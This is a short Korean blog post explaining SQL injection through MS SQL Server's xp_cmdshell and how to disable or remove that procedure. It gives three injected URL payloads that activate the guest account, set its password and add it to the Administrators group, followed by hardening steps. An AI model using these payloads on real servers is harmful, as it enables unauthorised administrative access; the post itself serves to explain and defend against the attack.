TK's 컴퓨터 이야기

xp_cmdshell 과 sql_injection 본문

DataBase

xp_cmdshell 과 sql_injection

혈연 2012. 6. 25. 11:48

관리자 계정을 커넥션에 사용한 경우 파라메터값을 변조하여 SQL Injection 가능.

http://localhost/param=';EXEC xp_cmdshell 'net user guest /active:yes'--
// guest 활성화

http://localhost/param=';EXEC xp_cmdshell 'net user guest test'--
// guest 계정 password 변경(test)

http://localhost/param=';EXEC xp_cmdshell 'net localgroup Administrators guest /add'--
// 관리자그룹에 guest 추가

원격접속이 허용되어있다면 이때 GUEST 계정으로 로그인 가능.

xp_cmdshell 프로시져 삭제

1)sp_dropextendedproc 사용
IF OBJECT_ID('[dbo].[xp_cmdshell]') IS NOT NULL BEGIN
EXEC sp_dropextendedproc 'xp_cmdshell'
END

2) sp_configure 사용
Exec sp_configure 'show advanced options',1
Exec sp_configure 'xp_cmdshell',0
Reconfigure

xp_cmdshell stored procedure 복원
exec sp_addextendedproc 'xp_cmdshell','xplog70.dll'

xp_cmdshell stored procedure 완전히 삭제하는 방법
xplog70.dll 삭제 (path: C:\Program Files\Microsoft SQL Server\MSSQL\Binn)

xplog70.dll 놈과 종속된 놈들
xp_sscanf
xp_sprintf
xp_msver // mssql 상세 version
xp_enumgroups // 그룹정보
xp_logevent
xp_loginconfig // login mode, default login, default domain, audit level, set hostname 정보확인

출처 : http://totoriver.egloos.com/3158009

'DataBase' 카테고리의 다른 글

0 나누기 에러  (0) 2014.01.16
SQL 2005부터 지원하는 Paging 기능 "row_number()"  (0) 2012.07.25
MS-SQL Table Lock Check !  (0) 2012.03.09
DB 용량 줄이기(Data, Log)  (0) 2011.12.20
다수의 DB에 쿼리 일괄 처리하기.  (0) 2011.08.11